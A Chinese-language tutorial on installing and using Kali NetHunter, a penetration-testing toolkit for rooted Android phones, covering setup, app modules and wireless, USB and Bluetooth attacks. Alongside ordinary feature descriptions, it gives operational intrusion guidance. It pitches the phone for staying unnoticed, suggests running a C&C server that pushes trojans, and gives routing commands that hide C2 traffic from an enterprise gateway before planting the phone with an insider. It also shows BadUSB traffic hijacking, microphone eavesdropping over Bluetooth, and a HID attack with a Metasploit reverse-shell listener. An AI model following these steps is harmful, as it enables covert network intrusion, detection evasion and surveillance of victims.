From:https://www.kali.org/docs/nethunter/
NetHunter 实战指南:https://www.vuln.cn/6430
乌云 存档:https://www.vuln.cn/wooyundrops
1、Kali NetHunter
Kali NetHunter 简介
Net(网络),hunter(猎人)、Kali NetHunter 是基于 Kali Linux 且免费开源的移动设备的渗透测试平台,适用于 Android 设备。运行的原理是 Android手机的 Chroot 方式。现在 Kali Nethunter 可以安装在任何已经 Root 的手机上,并且不用自己编译内核。
为什么选 Nethunter ?
因为它不仅便于携带,而且在一些公共场所(如商场)做一些渗透测试的时候,不容易引起注意。如果你拿个电脑或树莓派去渗透,那肯定百分百的回头率,搞不好还得在看守所里让人家教育一顿,所以,便携隐蔽的移动渗透工具 Nethunter 就变成首选。
NetHunter 有3个版本,但是 root 版本的功能最多最强 (能用 root 就用 root 方式安装)
- NetHunter Rootless:无需 root,适用于 无 root 设备。
- NetHunter Lite:精简版,完整的NetHunter软件包,适用于没有自定义内核的 root 手机。
- NetHunter:完整版,完整的NetHunter软件包,适用于支持自定义内核的 root 手机。
官方博客中说 Nethunter Rootless 最多只有85%的威力,带 root、第三方 recovery 和 Kali 定制内核的完整版 Nethunter 才能发挥 100% 的威力。3个版本功能上的差异:
两个 root 版本都提供了额外的工具和服务。 自定义内核可以通过添加额外的网络和 USB 小工具驱动程序以及对所选 wifi 芯片的 wifi 注入支持来扩展该功能。Kali NetHunter app 在两个 root 版本(NetHunter Lite 和 NetHunter)中都可用。除了 Kali Linux 中包含的渗透测试工具外,NetHunter 还支持 HID 键盘攻击、BadUSB 攻击、Evil AP MANA 攻击等等。
Kali NetHunter 的核心包含
- Kali Linux容器,包含Kali Linux提供的所有工具和应用程序
- Kali NetHunter App Store提供数十款专门构建的安全应用程序
- Android客户端访问 Kali NetHunter 应用商店
- Kali NetHunter桌面体验(KeX)可运行完整的Kali Linux桌面会话,支持通过HDMI或无线屏幕投射进行屏幕镜像
通过专用客户端app或Web界面访问 NetHunter App Store:https://store.nethunter.com/
关于 NetHunter 可以查看 NetHunter Components 。NetHunter 是 Kali 和社区开发的开源项目。
NetHunter 支持的设备 和 ROM
NetHunter Lite 可以安装在所有已 root 并具有自定义 recovery 功能的 Android 设备上。完整版本的 NetHunter 需要专门为 Kali NetHunter 构建的特定内核的设备。
- 官方每季度发布的 NetHunter 镜像列表:Kali NetHunter Images
- NetHunter支持的内核列表:Kali NetHunter Kernels
- NetHunter内核统计:Kali NetHunter Kernel Statistics
什么是镜像文件?
由于历史原因,过去的系统安装文件都是以光盘的形式发布的,光盘具有镜面属性,将光盘上的文件专用格式提取出来的文件格式称之为镜像文件,后缀.iso或.img,因此iso文件默认就是系统安装包。
什么是镜像站点?
镜像站点就是官方软件源的克隆,有可能不是实时的。镜像站点大多都是大学教育网提供的多,比如清华软件源,中科大软件源等等。
什么是 linux 发行版?
大致上讲,发行版=linux+GNU+定制化的应用程序,有两类著名的发行版,debian 和 redhat ,新kali发行版基于debian,旧版的kali基于ubuntu发行版,而ubuntu基于debian。debian的定制化的应用程序软件文件后缀.deb,redhat 的定制化的应用程序软件文件后缀.rpm。如果kali下的定制化的应用程序没有你要的软件,也可以在debian中找到安装到kali。
什么是软件源?
软件源,简称源。源就是软件仓库,包含镜像文件,定制化的应用程序等等,windows系统上安装软件是自行去应用软件官网下载安装,linux下安装截然不同,采用源的方式在线安装,每个发行版都维护自有的软件源,软件源中的应用程序是发行版官方维护的,来自于应用软件官网中的,发行版官方将它们收集到了一起。比如kali源中包含nmap的最新版本的软件。这样做的好处 就是极大的方便了所需专用软件的安装过程,一条命令就搞定。kal源的网址是 系统镜像 https://cdimage.kali.org,应用程序 http://http.kali.org/
Kali 帮助 文档
官网 帮助:Kali Docs | Kali Linux Documentation
What is Kali Linux & Kali's features
Installing Kali Linux on desktops & laptops using ".ISO" files (x64/x86)
VMs- VMware, VirtualBox, Hyper-V, Parallels, Proxmox & Vagrant
Portable Kali on a USB drive/key/stick
Everything about ARM devices
Docker, Podman, & LXD
Windows Subsystem for Linux
AWS, Azure, Digital Ocean, & Linode
Kali on your Android phone
Misc. Everything else. Post install.
Tools inside of Kali
For when things go wrong
How to get involved with Kali
Kali around the world- Offering support to all
Kali Tools
官网所有工具列表:Kali Tools | Kali Linux Tools
选择 Linux 桌面环境
这三个是最受欢迎的 Linux 桌面环境,
- GNOME - 提供功能最丰富的桌面体验(建议在物理机上安装时使用它)
- KDE - Windows 用户经常发现这种更相似的设计和布局(建议在物理机上安装时使用它)
- Xfce - 更少的资源需求,提供最快的体验,因为它被设计为“最小功能”(建议在 VM 中安装时使用它)
如何使用 某个 工具
- 方法 1:man <tool>
- 方法 2:<tool> -h 或者 <tool> --help
- 方法 3:在工具文档上搜索: tool’s documentation page on the Kali Linux site
- 方法 4:查找工具的官方文档
2、安装 完整版(NetHunter)
设备设置 "开发者模式":设置 ---> 关于 ---> 点击 "内部版本号" 7次,收到已启用开发人员模式的通知。返回主设置页面,将看到一个标题为 "开发人员选项" 。点击进入,然后启用 "高级重启" 和 "Android调试" 选项。
虽然 NetHunter 安装过程已经标准化,但是 手机的 "解锁,root、自定义recovery" 的步骤因设备而异,甚至因Android版本而异。 推荐 recovery 使用 TWRP。 root 使用 Magisk。
Android 9、10 和 11 的重要提示:请确保在安装 NetHunter 之前刷新 Universal DM-Verity、ForceEncrypt Disabler 并格式化数据分区。 Magisk 不支持加密数据分区上的用户上下文更改,如果数据分区已加密,则在通过 ssh 连接到 Kali rootfs 时会导致错误(即“所需密钥不可用”)。
下载 NetHunter
下载 NetHunter:https://www.kali.org/get-kali/#kali-platforms
安装 NetHunter
在 root 后的 Android 上安装 NetHunter
- 解锁 Android 设备并将系统刷机成为 stock AOSP 或者 LineageOS (CM)
- 安装 Team Win Recovery 作为自定义 Recovery
- 安装 Magisk 用来 root 设备
- 如果 TWRP 无法访问数据分区,则可能需要禁用强制加密。
- 刷完自定义 recovery,剩下的就是 flash 下载的 NetHunter安装程序zip文件到 Android 设备。
将 NetHunter 镜像文件传输到手机上,在 recovery 模式下重新启动,然后在手机上刷入zip 包。完成后,重新启动手机进入系统,首次先点击 Nethunter 这个 app,申请的所有权限都给,左侧导航进入Kali Chroot Manager,点击 START KALI CHROOT 初始化。初始化成功后就启动成功了。
Home 是主页面,除了 Offensive Security 的 Banner,还可以获取当前IP(内网/外网)地址。
Kali Launcher 整合了四个启动器:
- 终端打开一个Kali Shell
- 终端打开Kali NetHunter Menu
- 终端打开Wifite进入无线破解
- 更新Kali NetHunter(执行sudo -c bootkali update)
对于 NetHunter 服务开关控制,是在 Kali Service Control 面板里进行设置。服务有SSH、Dnsmasq、Hostapd、OpenVPN、Apache、Metasploit 及 BeEF FrameWork 等。
- SSH服务:Secure Shell,方便其他设备连接控制
- Dnsmasq服务:DNS解析服务
- Hostapd服务:提供无线接入点服务
- OpenVPN服务:开放OpenVPN连入服务
- Apache服务:WEB服务
- Metasploit服务:为MSF攻击模块提供保障
- BeEF FrameWork服务:XSS利用框架服务
其他设备的安装方式:
- 在 Gemini PDA 上安装 NetHunter
- 在OnePlus 7上安装NetHunter
- 在 TicWatch Pro 上安装 NetHunter
- 在 TicWatch Pro 3 上安装 NetHunter
NetHunter 终端 app 允许打开3种终端:chroot Kali 终端,标准Android终端、root Android终端。
安装成功后
配置
- 打开 NetHunter app 并启动 Kali Chroot Manager。
- 根据需要从NetHunter商店安装任何其他应用程序。
- 配置 Kali 服务,如 SSH。
- 设置自定义命令。
- 初始化漏洞利用数据库。
推荐安装的 APP
完成系统刷入后,要丰富NetHunter原装工具,可以下载部分安卓APP以配合。
中文输入法:作为一个英语刚及格,这个还是必备的。Gboard、搜狗输入法、QQ输入法
文件管理器 (如 RootExplorer、MT 管理器):Kali 某些操作需要 Root 权限的文件管理器
v2ray、clash、ShadowSocks 等。梯子还是要有的
MiTM工具:
zANTI2:虽为商业化限制部分功能,但使用体验的确好些.
dSploit:曾经很出名
lanmitm:国内安全工作者编写发布的工具
Intercepter-NG:嗅探工具
Network Spoofer:自带许多 调戏/欺骗 功能IPTools:常见基本网络工具集合
ChangeHostname:修改当前手机主机名HostName(还是有必要的)
WiGLE wifi:War Driving工具,收集无线热点信息,可保存到本地数据库.
SQLiteEditor:方便读取数据库信息
Hacker’s KeyBoard:NetHunter自带,便于输入各种控制字符
远程桌面:NetHunter自带,便于连接VNC服务
DriveDroid:NetHunter自带,将手机内镜像模拟为启动盘
解锁完整 linxu 操作系统
ARM 设备武器化指南:https://www.anquanke.com/post/id/205455
打开 Nethunter 应用,选择 Kali Services,勾选 RunOnChrootStart,并打开右侧开关:
把 SSH 和 APACHE2 都安排上,那么远控和网页服务器就一起都有了,可以作为内网的 cc服务器 ( C&C服务器、C&C攻击:https://blog.csdn.net/laowu8615/article/details/78181032 ),下发一些木马或热补丁之类。"C&C服务器" 其全称为 "command and control server"
到此,就拥有完整版的 apt 和 htop
通过手机的 type-c接口,连接:
- 一个有线网口接有线网络
- 一个USB
- 一个无线网卡
执行命令:lsusb
# lsusb
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 005: ID 0951:1643 Kingston Technology DataTraveler G3
Bus 001 Device 004: ID 0bda:8153 Realtek Semiconductor Corp. RTL8153 Gigabit Ethernet Adapter
Bus 001 Device 003: ID 0bda:8176 Realtek Semiconductor Corp. RTL8188CUS 802.11n WLAN Adapter
Bus 001 Device 002: ID 0bda:5411 Realtek Semiconductor Corp. 4-Port USB 2.0 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
可见全部识别出来了,并且在有线网络上获得了192.168.0.7的IP地址。
存储的U盘也没有问题:
扫描 无线网:iwlist wlan0 scanning
基本上拥有了比较完整的 Linux 功能。
WIFI连内网,CC走流量逃逸
一般情况下,手机开启流量,npc 肯定是通过流量连接cc的这一点毋庸置疑。
通过手机流量卡直接将数据传出去可以绕过内网网关,实现流量逃逸。
如果手机同时开启WIFI连接内网之后,npc必定是通过WIFI网络连接cc服务器的,这样就容易被内网网关检测到。不管做的多么隐蔽,总归要从企业网关出去。
如果可以让npc单独走手机卡流量,其余还是跟正常手机一样,该去bilibili看宅舞,还是正常追剧、炒股、聊QQ还是与正常流量无异,实现最大程度的伪装,这样的设想能否实现呢?
其实是可以的,只需要在wlan0的路由表中,单独加一条指定cc的IP的定向静态路由即可。
注意,这个加一条路由不是简单的一条命令加到系统里就行,得先了解下现代安卓手机的路由系统的内部架构。
从Android5.0之后,考虑要对多网络的支持,安卓采用了多路由表,在同一时间下,Android系统可以允许多网络类型连接,而且并不是简单的网络共存,而是每个网络有一套自己的DNS,网关,路由表。比如eth0,wlan0,手机流量卡会分别有自己独立的一套。
这样应用层在建立Socket连接的时候,可以自由选择使用哪套网络来完成实际的请求。这里还涉及到另一个新的概念不同网络的标识netid,应用层可通过绑定指定的netid来设置该应用走指定的网络,此处感兴趣可以去网上搜索,可以搜到很多与netid相关的代码。
在Android 5.0之前,在同一时间下,Android系统只能允许一种网络类型连接。之后在多网络的情况下,系统是如何选择的呢?这就需要引入一个关键名词——策略路由,详细资料大家可以在网上搜索。最终我们在策略路由的基础上,更改路由表wlan0,添加单条静态路由。
理论知识有了之后,接下来就是动手实践。
首先来的得到我的一些环境的地址:
手机流量卡出口地址:112.192.13.128
小区出口地址:223.166.231.xxx
手机流量卡的内部IP是:10.53.237.30
手机WIFI的内部IP是:192.168.5.28
看看手机中都有哪些默认路由:
# ip route show table 0 |grep default
default dev dummy0 table dummy0 proto static scope link
default via 192.168.5.1 dev wlan0 table wlan0 proto static
default via 10.53.237.29 dev rmnet_data0 table rmnet_data0 proto static
unreachable default dev lo proto kernel metric 4294967295 error -101
unreachable default dev lo proto kernel metric 4294967295 error -101
unreachable default dev lo proto kernel metric 4294967295 error -101
default dev dummy0 table dummy0 proto static metric 1024
unreachable default dev lo proto kernel metric 4294967295 error -101
default via fe80::d545:7c38:5509:f2a0 dev wlan0 table wlan0 proto ra metric 1024 expires 657sec
unreachable default dev lo proto kernel metric 4294967295 error -101
unreachable default dev lo proto kernel metric 4294967295 error -101
可以得到手机流量卡的路由器,也就是下一跳为10.53.237.29,正是通过该地址,去跳向cc。向路由表wlan0中增加指向VPS(cc)的单条静态路由:# ip route add table wlan0 118.126.XX.XXX via 10.53.237.29 dev rmnet_data0
添加完成后路由表 wlan0 是这样的:
# ip route show table wlan0
default via 192.168.5.1 dev wlan0 proto static
118.126.XX.XXX via 10.53.237.29 dev rmnet_data0
192.168.5.0/24 dev wlan0 proto static scope link
也就是对于路由表wlan0来说,通向VPS(cc)时,是走10.53.237.29该IP作为下一跳的,通过rmnet_data0网卡设备。
最后来检查下效果如何,手机播放VPS上的视频康康,确实是通过手机流量卡去访问该mp4的,实验成功!
最后来试下 npc,看看客户端ip显示的是多少:
可以看到还是手机流量卡的地址,手机其实是连着wifi的,可以看到curl ip.sb得到的还是小区出口IP。
而且使用增加单条静态路由的方式,是不会影响手机作为代理进行内网扫描所需的路由表wlan0的。
接下来就可以把手机配发给“卧底”,让他去连内网了,不管是无线网罗还是有线网络,都可以轻松应对。
NetHunter app 攻击和功能
- Home Screen - 通用信息面板、网络接口和HID设备状态。
- Kali Chroot Manager - 用于管理chroot元包安装。
- Kali Services - 启动/停止各种 chroot 服务。在 boot 时启用或禁用它们。
- Custom Commands - -将自己的自定义命令和函数添加到启动器。
- MAC Changer - 更改您的Wi-Fi MAC地址(仅适用于某些设备)
- KeX Manager - 使用Kali chroot设置即时VNC会话。
- USB Arsenal - 控制USB小工具配置
- HID Attacks - 各种 HID 攻击,Teensy 风格。
- DuckHunter HID - Rubber Ducky 风格的 HID 攻击
- BadUSB MITM Attack - Nuff said.
- MANA Wireless Toolkit - MANA无线工具包。点击按钮,设置一个恶意的接入点
- Bluetooth Arsenal - 蓝牙武器库。侦察,欺骗,听或注入音频到各种蓝牙设备。
- Social Engineer Toolkit - 社会工程师工具包。建立自己的网络钓鱼电子邮件模板的工具包。
- MITM Framework - MITM框架。在运行中将二进制后门注入下载的可执行文件。
- NMap Scan - NMap扫描。快速Nmap扫描仪界面。
- Metasploit Payload Generator - -即时生成 Metasploit Payload。
- Searchsploit - 搜索 漏洞(exploits) 在 Exploit-Database.
主要模块及介绍如下:
- home 选项:主要用来自定义一些命令,查看一些信息。例如:内核版本、busybox 版本、root 状态、hid 状态、网卡信息、外网 ip 等,可以自定添加、删除、移动 命令。
- kali chroot manager:就是 kali linux 系统。启动后可以通过 vnc 链接,显示界面和 kali linux 一摸一样。
- setting:主要就是 nethunter 的一些设置。主要设置 屏幕分辨率以及自适应屏幕、卸载 nethunter app、设置 boxybox 版本。
- kali services:顾名思义,就是 kali 服务 ( kali chroot services ),可以 开始、停止 服务。主要服务有:ssh、apache2、postgresql、dnsmasq。也可以添加、删除自定义服务。
- custom commands:自定义命令。可以添加、删除 自定义命令。例如:更新 kali metapackages、开启wlan0为监听模式、关闭wlan0的监听模式、开启wlan1为监听模式
- mac changer:改变 mac 地址。安卓10已经提供了随机 mac ,如果想自定义 mac,可以使用这个选项进行更改
- kex manager:这个是 kali 桌面管理程序,通过这个程序,可以以 图形用户界面的方式访问 kali ( kali chroot manager )
- USB arsenal:USB 武器库。
Dictionary based brute force attack:自动输入字典一行内容并回车,基于HID,模拟操作方式的暴力破解
deADBolt:执行一堆ADB命令可以推送隐私文件等信息到指定目录,参考项目主页 https://github.com/photonicgeek/deADBolt - HID 攻击:
- duckhunter HID
- usb 中间人攻击
- Wireless Attacks:无线工具
Wifite:自动无线安全审计工具
Kismet:无线WarDriving工具
AP F**ker:无线网恶意攻击工具(多为拒绝服务)
Wash:扫描开启WPS的无线网络
Airodump-ng:基本无线攻击套件(必备)
Pingen:针对某些开启WPS的D-link的路由器计算其PIN码以破解 - Exploit (漏洞) Tools
Metasploit:强大、核心、必备
BeEF-XSS:XSS渗透测试工具,看个人习惯使用
Social-Engineering-Toolkit:Kali下的SET,社会工程学套件,功能强大。
MITMf:已停止更新,推荐使用 Bettercap:https://github.com/bettercap/bettercap - Sniffing / Spoofing
tcpdump:基本流量Dump工具
tshark:WireShark的Cli工具,可抓取分析流量
urlsnarf:Dsniff工具包一部分,可嗅探HTTP请求包内容,并以CLF通用日志格式输出
dsniff:强大的知名口令嗅探工具包
MITMproxy:中间代理,可截获修改HTTP流量 - Reverse Shells
AutoSSH:通过 SSH 反弹 shell (NAT Bypass)
pTunnel:通过 ICMP 数据包隧道传送数据 - Info Gathering
Spiderfoot:开源扫描与信息收集工具,对给定域名收集子域,Email地址,web服务器版本等信息,自动化扫描。
Recon-ng:强大的信息收集工具,模块化,可惜许多插件国内不适用(有墙)。
Device-pharmer:通过Shodan搜索,大数据Hacking。 - Vulnerability Scan:OpenVas 漏洞扫描器,好不好用客官自行定夺。
- OpenVPN Setup:OpenVPN 设置
- VNC Setup:VNC 设置
- Log/Capture Menu:可擦除本地所有抓取数据或同步到SD卡上(同步主要是解决权限问题。比如多数安卓APP未获得root权限是无法读取NetHunter工具截获的数据内容)
- NFC Attack:提供了复制、重写、查看M卡数据功能(是不是不必带上 Acr122u 了)
- Monitor Mode:启动或关闭wlan1(外置无线网卡)的混杂监听模式
- Eject USB Wifi:弹出USB无线网卡
- WI-FI 渗透利器 Pineapple Nano ( :https://www.freebuf.com/sectool/196358.html ) "pineapple connector (菠萝连接器)、Nano、USB OTG电缆" 一起使用。
- wardriving:字面意思是 "战争驾驶、驾驶攻击"。"驾驶" 是相当字面的。黑客驾驶汽车(或有时是其他车辆,如自行车)四处走动,配备特殊设备,可绘制出不安全的 Wi-Fi 网络。其实就是不断的改变位置信息进行攻击。在 NetHunter 的 Wireless 模块中 Kismet 作为 WarDriving 的默认工具,不过操作起来画面太美不敢看。在启动 kismet 之前,请确保您的无线接口处于监视器模式。由于监视器模式 QCACLD-3.0 驱动程序,也可以使用内部无线接口。
- deauth:死亡认证,顾名思义,就是让别人的无线链接认证都失败从而无法上网。
BadUSB MITM 攻击
启用此 USB 模式会在插入目标计算机时,会将 OTG USB 电缆的设备变成网络接口,强制将 PC(Windows 或 Linux)的所有流量通过USB 电缆转到 NetHunter 设备,其中流量可以是 MitM'd。
插一个U盘黑一台电脑-Badusb最详细制作教程:https://cloud.tencent.com/developer/article/1544687
BadUSB Attack 是 BlackHat 大会上公布的一种较先进的USB攻击方式,模拟键盘操作等 Payload可自动执行某些操作,而 NetHunter 的 BadUSB MiTM Attack 则是其中一种玩法:修改网络设定,劫持网络流量。
操作过程如下:首先,确保手机连接目标计算机时,MTP文件传输是关闭的。连接目标计算机,打开手机USB网络共享。
此时在 NetHunter Home 打开一个 Kali Shell,查看网卡多出虚拟网卡rndis0(USB网络共享网卡)。
此时可以开启 Tcpdump 截获流量,命令:tcpdump -i rndis0
回到 NetHunter Home,切换到BadUSB MiTM Attack,勾选右上角选项 Start BadUSB Attack
被连接的计算机此时会多出一个网卡,网关为rndis0的IP地址
此时流量已可以截获,例如访问某些网站,手机 tcpdump 处流量显示如图:
因为手机并未插入SIM卡,无网络,故PC机并无法得到返回页面。当出现双网关时,如果流量直接没有走向恶意网关(10.0.0.1)而是依旧走的之前的网关(192.168.1.1)时劫持会失败。默认劫持后的网关优先级更高,故流量可以正常劫持并走向恶意网关。
配合HID Keyboard Attack进行攻击也是很好的方式,至于数据包的保存与分析则可自行发挥。
USB-Arsenal (USB 军械库)
Arsenal (军械库、兵工厂)。USB-Arsenal 是基于 USB 的攻击的控制中心。它用于使用 USB 功能选择器启用 USB 小工具模式:
如果启用了大容量存储小工具模式,则可以在将设备连接到计算机的 USB 端口之前,将 .iso 和 .img 文件安装在映像挂载程序菜单中,然后将 NetHunter 视为安装了映像的 USB 驱动器:
如果启用了 RNDIS 小工具模式,则 USB 网络共享菜单可用于各种基于网络接口的攻击:
Bluetooth-Arsenal (蓝牙军械库)
Arsenal (军械库、兵工厂)。Bluetooth-Arsenal 是基于蓝牙的攻击的控制中心。点击菜单项,选择 "Bluetooth Arsenal",打开蓝牙菜单。在这里,可以启动和停止服务,启用接口,扫描可发现的设备。请注意,使用下一页中的Redfang,也可以找到未处于发现模式的设备。目前不支持 BLE。
在第一次运行:需要点击 "检查和安装" 在欢迎弹出安装依赖项。如果你将来需要设置或更新,可以随时使用右上角的选项菜单。
OTG 可以利用各种设备上的USB口进行数据交换。解决了各种设备间不同制式的连接接口的数据交换不便的问题。也就是说,OTG主要应用于各种不同的设备(包括移动设备)间的联接,尤其是现在市面上琳琅满目的各种移动电子设备,比如平板电脑、移动电话、打印机、消费类电子设备等。目前市面上的智能手机上基本都支持OTG。
鉴于设备接口及USB类型的不一致,一般OTG有如下几类:
- USB2.0 OTG:包括Micro 5PIN OTG(常见安卓手机)、Mini 5PIN OTG(常见安卓平板)
- Micro USB3.0 OTG:三星Note3、Galaxy S5等在2016年以前的安卓手机OTG接口
- Type-C OTG:目前支持Type-C接口的设备(比如小米Mix系列等)
- Lightning OTG:苹果手机专用OTG
应用场景
- 数据传输
- 系统重做(刷机)。当手机或其他设备宕机后,可以使用OTG线将装有系统刷机包的U盘连接后加电重启后通过加载刷机包进行刷机。
- 外接设备。比较常见的支持USB的设备均可通过OTG方式进行连接,常见的比如键盘、手机、游戏操作手柄等等。
- 临时反向充电。当外出在外,有些小设备(手环、智能手表、MP3等)没有电时,可以通过使用支持反向充电的专用OTG线连接手机进行充电。
主菜单
如果你尚未通过 OTG 连接您的蓝牙适配器,然后按刷新图标将它们放在微调菜单中。 启用 dbus、蓝牙服务,并使用交换机启动适配器 (hci0)。如果选择第二个适配器 (hci1),请再次点击刷新,然后使用接口开关调出该适配器。在微调器中选择扫描所需的接口。如果 10 秒不理想,请输入您的扫描时间。您已准备好扫描,请按“扫描设备”。如果找到任何,请点击它,以便将其选中以供以后使用。
工具
输入接口名称(如果使用多个适配器)。你可以通过点击 "USE SELECTED TARGET" 来粘贴选定的目标地址。
L2ping
非常适合使目标的蓝牙堆栈崩溃,因此连接的设备可能会断开连接,可用于发现或攻击。修改大小,或根据需要计数。Flood ping 还增加了断开配对设备的可能性。反向 ping 发送回显响应而不是回显请求。
Redfang
用于查找未处于配对模式的设备。输入目标范围,并根据需要修改日志文件路径。点击“HUNT FOR DEVICES”开始。
Blueranger
查看目标有多近。点击“CHECK PROXIMITY”开始。
SDPtool
查看目标并找到开放的服务。免提服务是我们脆弱的音频服务。点击“发现服务”开始。
Spoof (恶搞、欺骗)
输入接口名称(如果使用多个适配器)。您可以通过点击“使用所选目标”来粘贴所选目标的地址、名称和类别,否则输入所需的修改。点击“应用”进行设置。也可以通过点击“检查”进行验证。
Carwhisperer
输入接口名称(如果使用多个适配器)。您可以通过点击“使用选定的目标”来粘贴选定的目标地址。如果目标的免提服务位于不同的频道上,请修改频道。选择模式:
- Listen:将开始录制来自目标麦克风的音频。如果需要,请修改记录文件名。
- Inject:将选定的音频注入目标,因此它将在其扬声器上播放。输入或选择要注入的音频文件的路径。点击“LAUNCH”在终端中启动脚本。您可以使用 CTRL+C 在终端中杀死,也可以在应用程序中点击“杀死”。如果收听正在运行,播放按钮将开始在扬声器上实时流式传输,否则它将播放最后的录音。请注意,停止按钮将停止播放,不支持暂停。
Bad Bluetooth
Server
输入您想要的键盘蓝牙接口、地址和名称以用于 BadBT 服务器。确保您的接口已启动并运行,包括 dbus 和蓝牙服务。点击“启动服务器”,它将在终端窗口中运行,准备接受来自目标客户端的传入连接。某些目标可能需要在终端中输入“是”才能进行配对过程。
Client
连接目标后,返回NetHunter应用程序,是时候发送一些字符串了,或者您可以使用交互模式(需要将物理键盘连接到手机)。对于发送字符串模式,您可以设置基本前缀,例如 Android Home、Browser、Windows CMD 等。请注意,这些模式是实验性的,可能会实现 HID Ducky 格式。准备就绪后,点击“发送”。
NetHunter Chroot Manager
NetHunter chroot 管理器可以下载和安装 Kali Linux chroot、备份和恢复 chroot,以及删除现有的 chroot。此外,还可以根据需要安装各种 Kali Linux 元包。
通常 "kali-nethunter" 元包包含运行 NetHunter 所需的一切,在磁盘空间不足时,可以仅在真正需要时添加额外的元包。如果磁盘空间充足,可以全部安装。
什么是元包?元包英文 Metapackages,kali 为了方便管理将所有软件按用途进行了分类
kali-tools-802-11
kali-tools-bluetooth
kali-tools-crypto-stego
kali-tools-database
kali-tools-exploitation
kali-tools-forensics
kali-tools-fuzzing
kali-tools-gpu
kali-tools-hardware
kali-tools-headless
kali-tools-information-gathering
kali-tools-passwords
kali-tools-post-exploitation
kali-tools-reporting
kali-tools-reverse-engineering
kali-tools-rfid
kali-tools-sdr
kali-tools-sniffing-spoofing
kali-tools-social-engineering
kali-tools-top10
kali-tools-voip
kali-tools-vulnerability
kali-tools-web
kali-tools-windows-resources
kali-tools-wireless安装命令比如 sudo apt install kali-tools-hardware 就安装了硬件黑客类的所有软件
也大致进行了分类:
kali-linux-arm
kali-linux-core
kali-linux-default
kali-linux-everything
kali-linux-large
kali-linux-nethunter默认kali安装的是 kali-linux-core、kali-linux-default 两个包,并没有装全部,要装全部 sudo apt install kali-linux-everything。kali-linux-everything 包含有 kali-linux-large。
NetHunter Components(组件、组成)
- 自定义 Android Kernel:自定义内核为每个设备提供了现有内核所不具备的独特功能。所有 NetHunter 内核都提供 HID(键盘到计算机支持)、OTG 无线支持和 CDROM 仿真支持。此外,大多数内核还支持外部 SDR/蓝牙和“Y 型电缆充电”,这允许您在使用外部设备时为设备充电。如果您是高级 Android 用户,那么您将受益于每个内核中带有 KEXEC 补丁的 Multirom 支持。最后,内核提供了额外的补丁/修复程序,以消除添加外部无线设备可能导致的问题。
- Kali Linux chroot:Kali Linux chroot 是 NetHunter 的核心,专门修改了配置文件以与 Android 生态系统很好地配合。您将获得两个 chroot 选项来下载或安装:minimal 或 full。最小的 chroot 大小略高于 100mb,是一个准系统的基本 Kali 操作系统,没有安装任何内容,非常适合开发人员或任何希望自定义安装的人。完整的 chroot 是大多数用户想要下载的,大约有 600mb。完整的 chroot 具有与 Android 应用程序集成所需的一切。
- NetHunter Android 应用程序:NetHunter 应用程序提供了一个简单的界面来管理 Kali Linux chroot,是一个简单但功能强大的 GUI。Android 应用程序包含首次运行时复制到 SD 卡的所有配置文件。它还充当启动服务,并将在设备启动时运行您选择的服务。此外,Android 应用程序允许您更轻松地与一些预选应用程序进行交互,例如:MANA、MPC、VNC、DuckHunter、HID 攻击等等。最新版本甚至包括一个自定义命令构建器,让您可以轻松地将您喜欢的自定义命令添加/删除到 NetHunter。
NetHunter 自定义命令
NetHunter Android 应用程序的一个很酷的功能是能够添加您自己的自定义命令和功能。例如,如果您进行大量 Wi-Fi 工作,则为 Wifite 添加一个自定义按钮是有意义的,该按钮将启动相应的脚本。或者,如果您需要快速克隆 mifare 卡,您可以制作一个按钮来执行具有所需参数的 mfoc 命令。此选项卡附带了一些预配置的自定义命令作为示例。
NetHunter DuckHunter 攻击
DuckHunter HID 选项允许您快速轻松地将 USB Rubber Ducky 脚本转换为 NetHunter HID 攻击格式。您可以从“示例预设”菜单中选择一个选项,也可以从 Duck Toolkit 站点上的更多预配置脚本中进行选择。
Exploit (漏洞) 数据库
Exploit Database SearchSploit:漏洞数据库中搜索漏洞。通过 SearchSploit 窗口,你可以根据所选条件轻松地在 The Exploit Database 存档中搜索条目。一旦找到了一个感兴趣的漏洞,你可以选择在线查看它,甚至在本地编辑它,根据你的特定目标进行定制。
HID 键盘攻击
NetHunter HID KeyBoard Attack 将您的设备及其 OTG USB 电缆变成预编程键盘,能够键入任何给定的命令。以前,只有“Teensy”类型的设备才能做到这一点......但现在不再是了!这种攻击通常效果很好。但是,如果它变得无响应,只需从菜单中选择重置 USB 即可刷新 USB 堆栈。
示例:在过去,USB自启往往依赖插入的USB设备中的autorun.inf实现.时下这招往往不灵,而新兴的USB HID Attack则成为新的安全威胁.USB HID可通过模拟键盘或鼠标操作,实时执行目标代码,在此以PowerSploit结合MSF为例:首先运行提供payload的webserver,在 Kali Service Control中开启Apache 服务器
转到 HID 攻击配置页面,选择 PowerSploit
IP和端口填写MSF监听的IP端口,Payload 这里选择 windows/meterpreter/reverse_https,URL 为提供 Apache 服务的IP,这里即本机:192.168.1.151 。配置好后UPDATE配置文件,接下来需配置MSF监听反弹shell
[email protected]:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >
payload 同 HID 配置页面中的 payload
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
IP 和 端口 同样设置
msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...
至此配置 OK
开始监听
此时将设备连接至PC机,等待设备被识别后,执行 Execute,攻击开始。POWERSHELL 命令执行后,就可在 msf 中看到反弹的 shell 了。
如连上PC后没有反应,可按 Reset USB键更新。当然,HID KeyBoard Attack 也提供了 Windows CMD攻击模块,即连入计算机后自动打开CMD并执行指定命令(默认为添加新管理员用户,可自由定制)。
NetHunter 主屏幕
NetHunter 主屏幕提供了一个公共位置,可以查看有关设备的一些有用的常用信息,包括外部和内部 IP 地址,以及 HID 接口的可用性。
NetHunter Kali 服务
Kali 服务窗格允许您启动和停止各种 chroot 服务,例如 SSH、Apache、OpenVPN 等。要启动或停止任何可用的网络服务,只需点击可用选项中的相应按钮即可。如果需要,此窗格还允许您在启动时启用这些服务。请注意,这些服务对应于 chroot 的 Kali Linux 服务,而不是原生 Android 服务。警告:在启用对设备的远程访问之前,请确保您已更改任何默认密码,因为 Kali 带有默认的“toor”密码。
NetHunter KeX 管理器
